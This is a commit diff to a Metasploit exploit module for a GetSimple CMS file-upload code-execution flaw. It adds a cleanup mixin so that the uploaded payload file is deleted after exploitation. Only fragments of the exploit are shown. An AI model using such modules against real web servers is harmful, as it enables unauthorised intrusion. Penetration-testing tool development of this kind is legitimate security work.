Use FileDropper

modules/exploits/multi/http/getsimplecms_upload_exec.rb

@@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   include Msf::Exploit::Remote::Tcp
   include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
 
   def initialize(info = {})
     super(update_info(info,
@@ -106,6 +107,7 @@ class Metasploit3 < Msf::Exploit::Remote
     if res && res.code == 200 && res.body && res.body.to_s =~ /Success! File location.*>.*#{target_uri.path.to_s}(.*)#{payload_name}</
       upload_path = $1
       print_good("#{peer} - File uploaded to #{upload_path}")
+      register_file_for_cleanup(payload_name)
     else
       fail_with(Failure::Unknown, "#{peer} - Upload failed")
     end